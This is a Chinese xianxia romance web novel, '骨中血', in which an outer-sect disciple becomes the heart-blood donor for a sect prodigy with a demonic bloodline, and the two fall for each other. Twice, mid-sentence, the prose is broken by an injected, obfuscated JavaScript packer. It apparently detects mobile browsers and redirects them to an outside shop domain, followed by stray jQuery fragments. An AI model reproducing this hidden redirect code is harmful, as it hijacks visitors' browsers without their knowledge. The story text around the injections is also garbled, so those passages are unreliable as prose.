《骨中血》
1. 初見
月瑶第一次见到秦凤兮的那天,昆灵宗的试炼擂台上正下着一场腥风血雨。
与其说是血雨,其实是上一场比试中某个内门弟子被击飞时喷出的血雾,在灵力激荡下化作细密的红色雨丝,纷纷扬扬地洒落在青石擂台上。那股甜腥的气味混杂着灵力灼烧后的焦糊味,呛得月瑶直皱眉头。
她站在擂台边缘的候场区,左手还缠着刚才简单包扎过的绷带——那是外门选拔赛时留下的伤,深可见骨,但负责外门的赵管事只丢给她一卷劣质的止血绷带和一块下品灵石,连个疗伤的丹药都懒得多给。
“那个外门的,该你了。”
负责叫号的内门弟子语气淡漠,目光从月瑶身上扫过时,像在看一件不值钱的物件。
月瑶也没在意,伸手将绷带又狠狠勒紧了几分,迈步走上擂台。
台下响起一阵低低的哄笑。
“就她?筑基一层?这不是上去送死吗?“
“外门也是没人了,这种小散修也敢报名内门试炼。”
“长得倒是好看,只可惜是个废物。”
月瑶充耳不闻,脚步稳稳当当地踩上擂台的石阶。她的鞋子已经磨破了,左脚的大拇指露在外面,沾了些灰尘和干涸的血迹,但她连看都没看一眼。
她没空在乎这些。
她要赢。
只有进入内门,她才能每个月领到五枚聚灵丹,才能有足够的灵力去冲击筑基中期,才能在三年内结丹,才有资格去打听那个人的下落——
“外门弟子月瑶,对阵内门弟子赵寒!
主持比试的长老念完名字,意味深长地看了月瑶一眼,那目光里有同情,也有无奈,但更多的是一种「你自求多福」的麻木。
月瑶的对手已经站在擂台中央了。
赵寒,内门赵氏旁支子弟,金丹一层,主修火属性功法,擅长一柄赤炎剑,在内门中排名中游,但对于一个筑基一层的外门弟子来说,他已经是碾压级别的存在。
他甚至在月瑶走上擂台时都没有拔剑,只是抱着手臂站在那里,嘴角挂着一丝懒洋洋的笑。
”小师妹,我劝你认输。“赵寒的声音不大,但灵力裹挟下足以让全场听清,”刀剑无眼,伤了你可不好看。“
月瑶站在他对面,仰头看着这个比她高出整整一个头的青年。
金丹一层。
筑基一层。
隔着整整一个大境界,两条鸿沟般的差距。
放在任何一本教科书般的比试规则里,这都是一场毫无悬念的碾压。
但月瑶从来不看教科书。
”请赐教。“她语气坚定。
三个字,不卑不亢,甚至带着一丝笑意。
赵寒挑了挑眉,似乎有些意外,但也仅此而已。他随手拔出赤炎剑,剑身上腾起一层灼热的火焰,将周围的空气都炙烤得扭曲起来。
”既然你坚持,那我就——“
话没说完,月瑶动了。
她没有灵器,没有法宝,甚至连一柄像样的剑都没有,但她有在死人堆里爬出来的经验——不要给对手准备的时间,不要让对手拉开距离,不要让对手用出他擅长的招式。
她整个人像一支离弦的箭,几乎是贴着地面窜出去的,速度快得不像一个筑基一层的修士。
赵寒瞳孔一缩,本能地挥剑横扫。
赤炎剑带着灼热的剑气横扫而出,火焰在空中划出一道弧形,足以将任何近身者烧成灰烬。
但月瑶没有退。
她在剑锋触及身体的前一刻,身体猛地向后仰倒,整个人几乎折成一个不可能的弧度,赤炎剑的剑气贴着她的鼻尖掠过,烧焦了她几缕碎发。
与此同时,她的右手撑地,左腿如同毒蛇吐信般弹出,脚尖精准地踢向赵寒持剑的手腕。
这一脚她用了全力,将体内仅存的灵力全部灌注在脚尖。虽然力道对于金丹期的修士来说不值一提,但踢中的位置却刁钻至极——手腕关节处最脆弱的那条经脉,灵力流转的必经之路。
赵寒闷哼一声,手腕一麻,赤炎剑险些脱手。
他后退两步,脸上终于收起了轻慢之色。
”有点意思!”他说。
月瑶没有回应,因为她的左臂已经在刚才的闪避中被赤炎剑的余波削掉了一大片皮肉,鲜血顺着手臂滴落在擂台上,疼得她额头上青筋直跳。
但她没有因此而退缩。
她再次冲了上去。
这一次赵寒没有再给她近身的机会,金丹期的灵力毫无保留地爆发开来,赤炎剑上腾起的火焰将整个擂台都笼罩在炽热的高温中。他不再轻敌,每一剑都带着碾压性的灵压,逼得月瑶不得不一次次狼狈地翻滚躲避。
台下传来一阵阵嘘声。
“这是在比试还是在逃跑?”
“外门的就是外门的,一点体面都没有。”
“姑娘!赶紧认输吧,别丢人了。”
月瑶听到了这些声音,但她一个字都没往心里去。
她在数。
数赵寒出剑的节奏。
火属性功法,至阳至刚,威力大但后劲不足,每一次大开大合的攻击之后都有一个极短的间隙,短到只有呼吸一次的工夫。
而月瑶最擅长的,就是在那呼吸一次的工夫里,做很多事。
赵寒的剑再次横扫而来,剑势比之前任何一次都要淩厉,显然是已经不耐烦了,想一招结束战斗。
月瑶没有闪避。
她迎着剑锋冲了上去。
全场一片哗然。
“天啊,她疯了!”
“这不是找死吗!”
赵寒自己也愣了一下,手上的力道本能地收敛了几分——他虽然不把这个外门弟子放在眼里,但也没想真的一剑杀了她。
就是这一瞬间的犹豫。
月瑶抓住了。
她侧身让过剑锋,任由赤炎剑削掉她右肩一层皮肉,整个人趁势撞进赵寒怀里。左手五指并拢如刀,将体内残存的最后一丝灵力压缩到极致,化作一根肉眼几乎看不见的细针,狠狠刺入赵寒丹田上方三寸的位置——气海穴。
不是刺穴,是刺缝。
气海穴是修士灵力运转的核心枢纽,表面有天然形成的灵力屏障保护,任何强行攻击都会被自动弹开。但月瑶在藏书阁的残卷中读到过,灵力屏障不是密不透风的,它在经脉与经脉的交汇处存在着比发丝还细千万倍的缝隙。
刺中缝隙,灵力屏障不会被触发。
但灵力会紊乱。
赵寒的瞳孔骤然放大,体内翻涌的灵力像是被谁按下了暂停键,然后猛地倒流回丹田,冲击得他整个人向后踉跄了四五步,赤炎剑「哐当」一声掉在地上。
他脸色煞白,难以置信地低头看着自己的丹田。
灵力紊乱。
短暂的、但真实存在的灵力紊乱。
而在比试中,这短暂的一瞬,足够对手做很多事了。
月瑶没有趁机攻击。
不是她不想,而是她已经没有力气了。她站在原地,大口大口地喘着气,左臂和右肩的伤口同时在流血,将她破烂的道袍染成了暗红色。她的视线在发黑,耳边嗡嗡作响,膝盖软得随时要跪下去。
但她没有跪。
她挺直脊背,抬起头,看向主持比试的长老。
“长老…”她的声音已经沙哑得几乎听不清,但语气平静得像在说今天天气不错,”他灵力紊乱了,短时间内无法继续战斗。这算不算我赢?”
全场寂静。
长老张了张嘴,没有说出话来。
因为按照昆吾宗的比试规则,确实如此。灵力紊乱意味着失去了战斗能力,哪怕只是短暂的,也足以判定胜负。
但筑基一层打赢金丹一层?
这种事在昆灵宗千年的历史上,从来没有发生过。
就在这时,月瑶感觉到一道目光落在自己身上。
那道目光很轻,轻得像一片雪花落在肩上,但月瑶的后背瞬间绷紧了。那种感觉很难形容,不是被注视的不适,也不是被威压碾压的窒息,而是一种更原始的、更本能的反应——
就像被一只蛰伏在暗处的顶级掠食者盯上了。
她的身体比大脑更快地做出反应,猛地抬头,目光穿过数十丈的距离,越过高台上那些窃窃私语的长老们,落在最中央那个端坐的身影上。
那是一个年轻女子。
不,不是年轻——是年轻到不像一个首座弟子。
月瑶听说过秦凤兮的名字。昆灵宗百年难遇的天才,二十岁半步元婴,整个浮凰大陆公认的下一代第一人。她想像过很多次这个传说中的人物该是什么样子——应该是一个鹤发童颜的老祖,或者一个威严冷肃的中年女修。
但眼前这个人,看上去不过十八九岁的年纪。
她坐在高台最中央的位置,周围都是须发皆白的长老,却没有人觉得不合适。她就那么静静地坐在那里,像一把被精心擦拭过的利剑收在鞘中,锋芒内敛,却让人本能地想要避开。
月瑶的目光落在她的脸上,然后——
愣住了。
月瑶见过美人。
她在底层摸爬滚打这些年,见过形形色色的人,其中不乏容貌出众之辈。修真之人本就皮相出众,走在昆灵宗的山道上随便抓一个内门弟子,放到凡间都是倾国倾城的水准。
但秦凤兮不一样。
不是「更美」的那种不一样,而是——
月瑶找不到词来形容。
那是一张彷佛不属于人间的脸。眉如远山含黛,眼若秋水无尘,鼻梁高挺而秀美,唇形优美却色泽极淡,像是有人用最细的笔蘸了最淡的墨,在宣纸上勾勒出的仕女图。她的肤色极白,不是那种病态的苍白,而是玉石般温润莹白的光泽,彷佛月华凝结在了肌肤之中。
但真正让月瑶失神的,是她的那双眼睛。
那是一双极浅极淡的眼睛,瞳色淡得近乎透明,像极北之地万年不化的冰川在阳光下折射出的光。那双眼睛里没有任何多余的情绪,没有好奇,没有打量,没有审视,甚至连月瑶刚才那场惊心动魄的比试都没有让它们产生一丝波澜。
它们就那么平静地、淡然地、不带任何目的地注视着月瑶。
像是雪山顶上的月亮在注视着山脚下的一粒尘埃。
月瑶的心跳漏了一拍。
不,不是漏了一拍——是整颗心像是被人用手轻轻托了一下,然后又轻轻放了回去。那种感觉说不上悸动,说不上心动,更像是某种她从未体验过的情绪在胸腔里悄然萌芽,快得她根本来不及辨认那是什么。
她只觉得自己的脸颊突然烫了起来。
烫得不像话。
明明刚才被赤炎剑的火焰燎到时都没有这种感觉,现在隔着数十丈的距离,被一双冷淡到极点的眼睛注视着,她居然脸红了。
月瑶在心里骂了自己一句:真没出息。
但她控
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590584|205443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
制实在不住。
她的视线就像是被牢牢钉住了一样,怎么都挪不开。她想移开目光,想表现出一个外门弟子对首座弟子应有的敬畏,但她的眼睛不听话。
她就那么傻傻地、愣愣地、直勾勾地看着高台上的秦凤兮,像一只被蛇盯住的青蛙,又像一个第一次看到雪的孩子。
然后,秦凤兮站了起来。
全场的议论声在那个瞬间同时消失了。
所有人都看着秦凤兮,看着她从座位上起身,看着她一步步走下高台的石阶。她的动作不快不慢,每一步都像是经过了精密的计算,衣袍的下摆在台阶上拖曳出清冷的声响,那声响在寂静中显得格外清晰。
月瑶的眼皮跳了一下。
秦凤兮在朝她走来。
不是错觉,不是自作多情——秦凤兮的目光始终没有离开过她,那双浅淡的眼睛里依然没有什么情绪,但月瑶莫名觉得,那目光里有什么东西变了。
像是一潭死水下,有什么东西在缓缓甦醒。
月瑶的后背沁出一层冷汗。
她想后退,想转身逃跑,想直接跳下擂台混入人群消失不见。不是因为害怕,而是因为一种更原始的直觉在告诉她——被这个人盯上,她的命运将不再属于她自己。
但她的双腿像是被钉在了原地。
不是被威压压制的动弹不得,而是——
她不想走。
这个认知让月瑶自己都吓了一跳。她明明最讨厌被掌控,最讨厌被当作棋子,最讨厌那些高高在上的人用俯视的目光看她。但当秦凤兮那样看着她时,她心里涌起的第一个念头居然不是反抗,而是——
再看一眼。
让那双眼睛再看我一眼。
秦凤兮走到擂台边缘,停下来。
近距离看时,月瑶才发现秦凤兮比她高出整整一个头,她要仰起脖子才能看清对方的脸。而这一看,她刚才好不容易平复下来的心跳又开始不受控制了。
因为秦凤兮比远看时还要好看。
那些关于「远山含黛」「秋水无尘」的形容在这一刻全都显得太过苍白。月瑶觉得秦凤兮的美不在于五官的精致与否——虽然确实精致到了极致——而在于一种说不清道不明的气质,像是深渊之上的月光,像是悬崖边上的风,让人既想靠近又不敢靠近。
月瑶的耳根红了。
她可以肯定自己现在的脸一定红得像煮熟的虾,因为她感觉自己整个人都在发烫,烫得像是刚才被赤炎剑正面击中了一样。
“你叫什么名字?”秦凤兮问。
她的声音比月瑶想像中的要好听。不是那种刻意修饰过的清冷,而是天然带着一种疏离的温润,像是山间清泉淌过玉石,又像是冬日里第一缕阳光照在雪地上。
月瑶张了张嘴,发现自己的喉咙干得像砂纸。
她咽了口唾沫,用尽全力挤出两个字:“月瑶。”
声音抖了。该死,她的声音居然抖了。她从十岁起就没在任何人面前抖过声音,现在居然因为一个女人的一句问话就结巴了。
秦凤兮垂下眼帘,那双浅淡的眸子从月瑶的头顶缓缓扫到脚尖,又从脚尖扫回头顶,那目光冷静得像是在评估一件物品的价值,却又带着一种让人浑身发软的专注。
月瑶被看得浑身不自在,但又莫名地不想躲开。
她在心里疯狂地对自己说:月瑶你清醒一点,这个人看你的眼神像是在看猪肉,你有什么好脸红的?
但她的脸不听话,她的耳朵不听话,她狂跳的心脏也不听话。
“月瑶,”秦凤兮将这两个字在唇齿间碾了一遍,像是在品尝某种味道,然后微微点头,“从今天起,你是我的人了。”
语气平淡得像在说「今天天气不错。」
没有商量的余地,没有选择的空间,甚至没有说明理由。
月瑶愣住了。
她的大脑在这一刻终于从「凤兮师姐好美好美好美」的死循环中挣脱出来,开始飞速运转。你是我的人了——这句话是什么意思?是收为弟子?是纳入麾下?还是——
等等,昆灵宗的首座弟子可以这样随便要人的吗?
她还没来得及问出任何一个问题,秦凤兮已经转身离开了。
她的衣袍在转身时划出一道利落的弧线,带着一股淡淡的冷香拂过月瑶的脸颊。那香气很淡,淡到几乎不存在,但月瑶的鼻子偏偏捕捉到了——像是雪后初晴时空气中那种干净到极致的味道。
月瑶站在原地,目送秦凤兮的背影消失在高台的帷幕后。
风吹过来,擂台上的血腥味和焦糊味还没有散去,但她闻不到了。她的鼻腔里只剩下那一缕若有若无的冷香,像是被人用一根看不见的线牵住了魂。
”凤兮师姐好美……“
月瑶下意识地喃喃出声,然后猛地回过神来,差点咬到自己的舌头。
她左右看了看,确定没有人听到这句话,才长长地呼出一口气。
但胸口那颗不安分的心脏,还在咚咚咚地跳个不停。
她摸了摸自己发烫的脸颊,又摸了摸更烫的耳根,最后低头看了看自己破烂的道袍、露脚趾的鞋子、还在渗血的绷带,忽然觉得自己这个样子站在秦凤兮面前,简直像一只掉进泥坑里的野猫被一只凤凰俯视了。
”月瑶啊月瑶,“她小声对自己说,”你可真是……丢人丢到家了。“
但她的嘴角,在她自己都没有意识到的时候,已经翘了起来。
2. 惊鸿
自那一日起,月瑶的世界可谓是天翻地覆。
她被从外门那间漏风的破木屋迁入了内门核心区域的独立寝居,此处的灵气浓郁得连呼吸都带着甜味。每日有专人送来灵食灵果,每月五枚聚灵丹的配额变成了五十枚,甚至连衣袍鞋袜都是从内务堂直接取用最好的料子。
月瑶觉得自己像是从阴沟里被人捞出来,擦干净了,又被摆进了水晶盒子里。
但她很清楚,自己不是被珍藏的宝石,而是被圈养的猎物。
秦凤兮要她的血。
这件事月瑶在搬到这里的第三天就知道了。不是谁告诉她的,是她自己从那些小心翼翼的窃窃私语中拼凑出来的。内门弟子们看她的眼神很复杂,有羡慕,有同情,有幸灾乐祸,唯独没有把她当作一个「人」来看。
月瑶没说什么。
她只是沉默地修炼,沉默地喝下那些为她调配的灵药,沉默地等待着秦凤兮的召唤。
第一次取血是在第七天。
月瑶被带到秦凤兮的洞府时,天色已经完全暗了下来。昆吾宗的山顶终年覆雪,月光照在雪地上,反射出一片清冷的光,将整座山峰笼罩在一种不真实的静谧中。
秦凤兮的居所比她的大了三倍不止,陈设却简朴得近乎寡淡。一张石榻,一方书案,一架药柜,除此之外再无多余的装饰。整个房间的色调是灰与白,冷得像一座精心打理的坟墓。
秦凤兮站在窗前,背对着她。
她今天没有穿那件玄色的首座法衣,只着一件月白的素衣,长发散落在肩后,在月光下泛着淡淡的银光。那背影单薄得像一片随时会被风吹走的纸,与白日里那个威严冷肃的首座弟子判若两人。
“坐吧。“秦凤兮没有转身。
月瑶乖乖在石榻边坐下。
秦凤兮转过身来,手中端着一只白玉碗,碗中空无一物,但碗身上刻满了细密的符文,在月光下泛着幽蓝的光。
她走到月瑶面前,蹲下身。
这是月瑶第一次看到秦凤兮蹲下来与人平视。她的动作很自然,自然到让月瑶差点没反应过来——一个首座弟子蹲在一个外门弟子面前,这件事本身就是不合规矩的。
但秦凤兮似乎不在乎规矩。
”会有些疼。“她说。
月瑶看着那双近在咫尺的浅色眼睛,心脏又不争气地漏跳了一拍。她使劲在心里骂了自己一句,面上却扯出一个笑来:”没事,师姐,我不怕疼。“
秦凤兮没有回应她的笑,只是微微点了点头,然后伸出了手。
她的手指修长白皙,指甲修剪得整整齐齐,泛着淡淡的珠光色。当那几根手指落在月瑶衣领上的时候,月瑶整个人僵住了。
”……师姐?“
”要取心头血,须解开衣物。“秦凤兮的声音平稳得像在背书,但月瑶注意到她的耳尖似乎微微泛红。
不,一定是月光的原因。
月瑶深吸一口气,主动解开了自己的衣领。秦凤兮的手指在她锁骨下方停顿了一瞬,然后稳稳地按了上去。
那只手很凉。
凉得像一块被泉水浸透的玉石,贴在月瑶温热的皮肤上,激得她打了个寒颤。但那种凉意并不难受,反而让月瑶被赤炎剑灼伤的皮肤感到一阵舒缓。
秦凤兮的另一只手将白玉碗悬在月瑶心口上方,指尖凝出一缕细如发丝的冰蓝色灵力,精准地刺入月瑶的心脉。
疼!
月瑶说不怕疼是假的。心头血取自心脉深处,那种疼痛不是皮肉之伤能比拟的,像是有人用一根烧红的针在胸腔最深处来回搅动。她的身体本能地想要蜷缩起来,但她咬紧了牙关,硬是一声没吭。
三滴心头血落入白玉碗,碗身上的符文亮起,将那三滴殷红的血珠封存起来。
整个过程不到半盏茶的工夫。
秦凤兮收回手,将白玉碗放在一旁,又从袖中取出一只青瓷小瓶,倒出些许药膏在指尖。
”这是雪蟾续骨膏,对伤口愈合有好处。“她说着,将药膏轻轻涂抹在月瑶心口的细小针孔上。
药膏清凉,缓解了伤口的灼痛。但更让月瑶在意的,是秦凤兮涂抹药膏时那种小心翼翼的专注。她的眉头微微蹙着,动作轻得像是在对待一件易碎的瓷器,与她平日里那副生人勿近的模样形成了奇异的反差。
月瑶忍不住多看了两眼。
就两眼。
秦凤兮忽然抬起头,那双浅淡的眼睛与月瑶的目光撞在一起。
距离太近了。近到月瑶能看清秦凤兮虹膜上那些细密的纹理,像冰川内部那些纵横交错的裂痕,美丽而危险。
月瑶的呼吸停了一瞬。
秦凤兮先移开了目光。
她站起身,背对着月瑶收拾药瓶和玉碗,动作比之前快了几分,像是在遮掩什么。
”好了,你可以回去了,“她的声音恢复了平日里的冷淡,”半个月后再来。“
月瑶应了一声,起身整理好衣襟,走到门口时忽然停下脚步。
”师姐。“
”嗯。“
”谢谢你的药膏。“
秦凤兮没有回答。
月瑶回头看了她一眼。月光从窗口倾泻而入,将秦凤兮的背影镀上了一层银白色的光晕。她站在药柜前,手里还拿着那只青瓷小瓶,不知道在想什么。
月瑶没有再多说什么,转身离开了。
但她没有看到的是,在她转身的那一瞬间,秦凤兮垂下了眼帘,将那只青瓷小瓶轻轻攥紧在掌心。
瓶身还残留着月瑶身体的余温。
就这么一点微不足道的温度,秦凤兮攥却了很久。
接下来的日子里,每半个月的取血成了一种奇异的仪式。
月瑶每次都会准时出现在秦凤兮的寝居门口,每次都会笑着叫一声「师姐」,每次都会在心口被刺穿时一声不吭。
而秦凤兮每次都会在取血后亲手为她上药,每次都会在月瑶离开时站在窗前目送她的背影消失在山道转角。
她们之间的对话寥寥无几,少到月瑶能用一只手数过来。
直到第三个月。
那天取血时发生了意外。
月瑶来的时候脸色就不太好。她前几日修炼时灵力运行出了岔子,经脉受了些损伤,本该好好休息,但她不想让秦凤兮觉得她娇气,她还是如期赴约了。
秦凤兮的手刚触到她的心脉,月瑶的脸色就白了。她咬住嘴唇,身体微微发抖,额头上沁出细密的汗珠,但她死死忍住了,没有发出任何声音。
秦凤兮却突然停了下来。
”你受伤了。“不是疑问,是陈述。
”没有,就是昨晚没睡好——“
”月瑶。“秦凤兮打断了她。
月瑶抬起头,对上那双浅淡的眼睛。
那双眼睛里依然没有什么波澜,但月瑶莫名觉得,今天的秦凤兮看上去有些不一样。说不上来哪里不一样,就是——
她好像在生气。
不是那种暴怒的、外显的愤怒,而是更内敛的、更压抑的、像是冰山内部终于开始龟裂的那种怒意。
”你经脉受损了,为什么不告诉我?“秦凤兮的声音很轻,轻得像是怕惊动什么,但月瑶听出了那底下的紧绷。
”我……没觉得是什么大事。“
”你的事,没有小事。“
这句话脱口而出,快得连秦凤兮自己都没有来得及收住。
两个人同时愣住了。
寝殿里安静得能听见烛火燃烧的细微声响。
月瑶怔怔地看着秦凤兮,看到那双浅淡的眼睛飞快地移开,看到那张清冷的面容上浮起一层极淡极淡的红——不是害羞的红,更像是说错了话之后的懊恼。
秦凤兮似乎想说什么来弥补,但最终什么都没说。她只是重新将手按在月瑶的心口,这一次动作比以往任何一次都要轻柔。
灵力探入月瑶体内,不是取血,而是沿着她受损的经脉缓缓游走,将那些紊乱的灵力一一理顺。冰属性的灵力带着天然的镇痛效果,所过之处,经脉的灼痛感便更消退几分。
月瑶舒服得差点叹出声来。
她偷偷抬眼看秦凤兮。秦凤兮正闭着眼睛,全神贯注地为她梳理经脉,眉心微蹙,长长的睫毛在眼下投下一小片扇形的阴影。
月光从窗口照进来,落在她的侧脸上,将那本就精致的五官衬托得如同画中人。
月瑶看呆了。
她想起自己第一次见到秦凤兮时,自己脱口而出的那句「凤兮师姐好美」。那时候她以为那只是最肤浅的、对美貌的本能赞叹。
但现在她不确定了。
因为她发现,秦凤兮最美的时候不是她高高在上俯视众生的时候,而是她微微蹙眉、专注于某件事的时候——比如上药,比如梳理经脉,比如此刻…
那些时候的秦凤兮,身上那种拒人千里的冰冷会被一种更柔软的东西取代,像是冰山表面覆上了一层薄薄的雾,朦朦胧胧的,让人忍不住想靠近。
”好了。“秦凤兮收回灵力,睁开眼睛。
然后她愣住了。
因为月瑶正看着她,那双琥珀色的眼睛里盛满了她读不懂的情绪,亮晶晶的,像是雪夜里倒映了星光的湖面。
四目相对。
秦凤兮的睫毛轻轻颤了颤。
然后——她笑了。
不是那种社交性的、礼貌性的微笑,而是一个真正的、发自内心的、短暂到几乎可以忽略不计的笑容。嘴角只是微微上扬了一个极小的弧度,眉眼间的冷意像是被春风吹化了一角,露出底下柔软的、温暖的、从未示人的底色。
那个笑容只持续了不到一秒。
如果不是月瑶的注意力
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590585|205443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
完全集中在秦凤兮脸上,她一定会错过。
但她没有错过。
她的心脏像是被人猛地击中,整个人像是被一道闪电劈过,从头顶酥麻到脚尖。她说不出话来,连呼吸都忘了,就那么傻傻地看着秦凤兮,看着那个笑容像流星一样划过那张清冷的面容,然后消失在夜幕中。
秦凤兮似乎意识到了自己的失态,瞬间收敛了笑意,恢复了平日里的冷淡。但她耳尖那抹淡淡红晕却出卖了她,红得像雪地里滴落的胭脂。
”你的经脉已经理顺了,“她的声音比平时快了几分,”记得回去好好休息,三天之内不要动用灵力。“
月瑶没动。
秦凤兮等了片刻,见她还是不动,微微蹙眉:”还不走?“
”师姐,“月瑶的声音有些飘忽,像是还没从刚才的冲击中回过神来,”你刚才笑了…“
秦凤兮的动作僵了一下。
”你看错了。“
”我没看错。“
”你看错了。“
秦凤兮又重复了一遍,语气比刚才更冷,但她耳尖的红晕却更深了。
月瑶忽然笑了,笑得眉眼弯弯,刚才那点心脉受损的疼痛似乎一瞬间全都好了。
秦凤兮被她笑得有些不自在,别过脸去,拿起白玉碗作势要起身。
就在这时,月瑶做了一件她事后回想起来都觉得自己胆子太肥的事情。
她伸手,握住了秦凤兮的手。
那只手很凉,指节分明,骨感而修长,像是上好的羊脂白玉雕成的艺术品。月瑶的手却很小,指尖还有常年练功留下的薄茧,肤色也不如秦凤兮那般莹白,带着底层修士特有的、被风霜侵蚀过的微黄。
两只手交握在一起,像是粗陶与细瓷的对比,却莫名地和谐。
秦凤兮整个人像是被施了定身术。
她低下头,看着月瑶握着自己的那只手,浅色的瞳孔微微颤动。没有人碰过她的手——不是因为碰不到,而是因为没有人敢。她是昆吾宗的首座弟子,是秦氏的天才,是所有人仰望却不敢靠近的存在。
但月瑶就这么自然而然地握上来了,像是握一个再普通不过的朋友的手。
”师姐,“月瑶仰头看着她,琥珀色的眼睛里映出秦凤兮的面容,”你笑起来真好看。“
秦凤兮没有说话。
但她也没有抽回手。
她就那么静静地站着,让月瑶握着她的手,一动不动。窗外月光如水,将两个人的影子投在青石地面上,交叠在一起。
过了很久,久到月瑶以为秦凤兮不会再有任何反应了。
秦凤兮终于动了。
她反手握住了月瑶的手。
不是轻轻的、试探性的握,而是很用力、很笃定的握,像是在抓住什么她等了很久很久的东西。她的手指穿过月瑶的指缝,十指相扣,掌心贴着掌心。
月瑶感觉到秦凤兮的掌心是温热的。
和那双永远冰凉的手不同,她的掌心是热的。
秦凤兮垂下眼帘,长长的睫毛遮住了眼底所有的情绪。她的声音很轻,轻到像是一声叹息。
”月瑶。”
“嗯。”
“以后受伤了,要告诉我。”
月瑶的心像是被什么东西狠狠地撞了一下,酸酸涨涨的,说不上来是疼还是暖。她用力地点了点头,声音却突然哽住了。
“好!”
秦凤兮终于抬起头来。
月光下,她的眼睛里有什么东西在闪烁,不是泪水,而是一种更明亮的光。那光芒太复杂,月瑶读不懂,但她觉得那是她见过的最美的东西。
比秦凤兮的笑容还美。
比月光还美。
比这世上的一切都美。
那天晚上,月瑶回到自己的洞府后,躺在石榻上翻来覆去地睡不着。
她举起自己的右手,在月光下翻来覆去地看。
这只手刚才被秦凤兮握过了。
不是那种客套的、疏离的握,而是十指相扣的、掌心贴着掌心的、认真而笃定的握。
月瑶将那只手贴在自己脸颊上,闭上眼睛。
掌心似乎还残留着一点点温热的余韵,像是一个无声的许诺。
她在黑暗中弯起嘴角,把脸埋进枕头里,闷闷地说了一句只有自己听得到的话。
“凤兮师姐好温柔……”
那晚的月亮很圆,月光洒满了整个昆灵宗的山巅。
而在山顶最高的那座洞府里,秦凤兮也同样没有睡。
她坐在窗前,月光将她的侧脸映照得如同冰雕。她的右手摊开在膝上,指尖微蜷,像是在感受什么已经消散的温度。
良久,她轻轻地、轻轻地弯了弯手指,做出一个握手的姿势。
空气中什么都没有。
但她觉得自己握住了全世界。
3. 骨中血
月瑶知道自己为什么会被秦凤兮选中。
并不是因为她在擂台上那场以弱胜强的比试——那种程度的顽强,在昆灵宗数千名弟子中虽然少见,却也并非绝无仅有。也不是因为她的天赋——筑基一层打败金丹一层固然惊艳,但在真正的天才面前,不过是孩童戏耍般的运气。
真正的原因,藏在她骨头里。
极阴至寒之骨。
这个词月瑶第一次听说,是在她搬入内门寝居的第五天。那天她正在后山灵泉边修炼,不远处有几个内门女弟子在采药,她们以为灵泉的雾气能遮住声音,便压低了嗓音说起了闲话。
“……听说了吗?秦师姐留那个外门弟子,是因为她的体质。”
“极阴之体?我好像在古籍上见过,这种体质的人万中无一,心头血有镇压魔气的功效。”
“何止镇压。我曾听师叔说过,秦师姐体内封印着魔凰血脉,需要极阴之体的心头血才能压制,否则迟早会被反噬。”
“所以那个月瑶……就是个活着的药引子?“
”嘘,小声点。不过……差不多吧。”
月瑶坐在灵泉边,双腿泡在冰凉的泉水里,将这些话一字不漏地听进了耳朵里。
她没有愤怒,没有震惊,甚至连失望都算不上。
她只是觉得——哦,原来是这样。
如此一来就都说得通了。
为什么秦凤兮要在那么多人面前说出「你是我的人了」这种话,为什么她会被从外门直接提入内门核心,为什么她的寝居、灵石、丹药全都配备得比普通内门弟子还好上数倍。
她并不是被珍藏的宝石,而是被精心饲养的猎物。
养肥了,才好取血。
月瑶低头看着自己心口的位置,那里还残留着上次取血后淡淡的针孔痕迹。她伸手按了按,微微的刺痛从皮肤下传来,像是一个无声的提醒。
她忽然想起秦凤兮为她上药时那双专注的眼睛,想起那只冰凉的手指在她皮肤上游走时的小心翼翼,想起月光下那个短暂的、几乎不存在的笑容。
难道那些都是假的吗?
月瑶不知道。
但她决定不去想这个问题。
有些问题想得太清楚,反而会让日子过不下去。
真正的确认,来自于一个月后。
那天秦凤兮取完血,破天荒地没有立刻让她离开,而是从书案的暗格中取出一卷古旧的玉简,递给她。
“这是关于极阴之体的详细记载,”秦凤兮的声音一如既往地平静,“你应该了解自己的身体。”
月瑶接过玉简,神识探入其中。
玉简中的内容比她想像的要详细得多。从极阴之体的成因、特征,到这种体质对修炼的影响,甚至连如何最大限度地利用极阴之体的心头血都写得一清二楚。
月瑶逐字逐句地看完了。
然后她终于明白,为什么秦凤兮要让她看这些。
极阴至寒之骨,天生便是世间至阴至寒的载体。这种体质的人修炼阴属性功法事半功倍,但阳气极弱,寿元通常不长。然而最关键的不是这些——
是心头血。
极阴之体的心头血,蕴含着天地间最纯粹的至阴之力,是世间一切阳属性、火属性、魔属性力量的天然克星,同时也是绝佳的镇压媒介。一滴极阴之体的心头血,足以镇压一头千年魔物的魔气。
而对于身怀魔凰血脉的人来说,极阴之体的心头血不仅可以镇压魔气,更可以在长时间的服用后,逐步将魔凰血脉从体内剥离、净化,最终彻底根除。
玉简的最后一页写着一行小字:
「然极阴之体者,心头血有限。每取一滴,则寿元精气损耗一分。取之过频,则骨枯血竭,不可复生。」
月瑶的手指在最后那行字上停顿了很久。
骨枯血竭,不可复生。
她轻轻呼出一口气,将玉简合上,还给秦凤兮。
“师姐,”她笑了笑,“你放心,我的血够你用很久的。”
秦凤兮接过玉简的手指微微一顿。
她看着月瑶,那双浅淡的眼睛里有什么东西一闪而过,快得无法捕捉。
”你不生气?“她问。
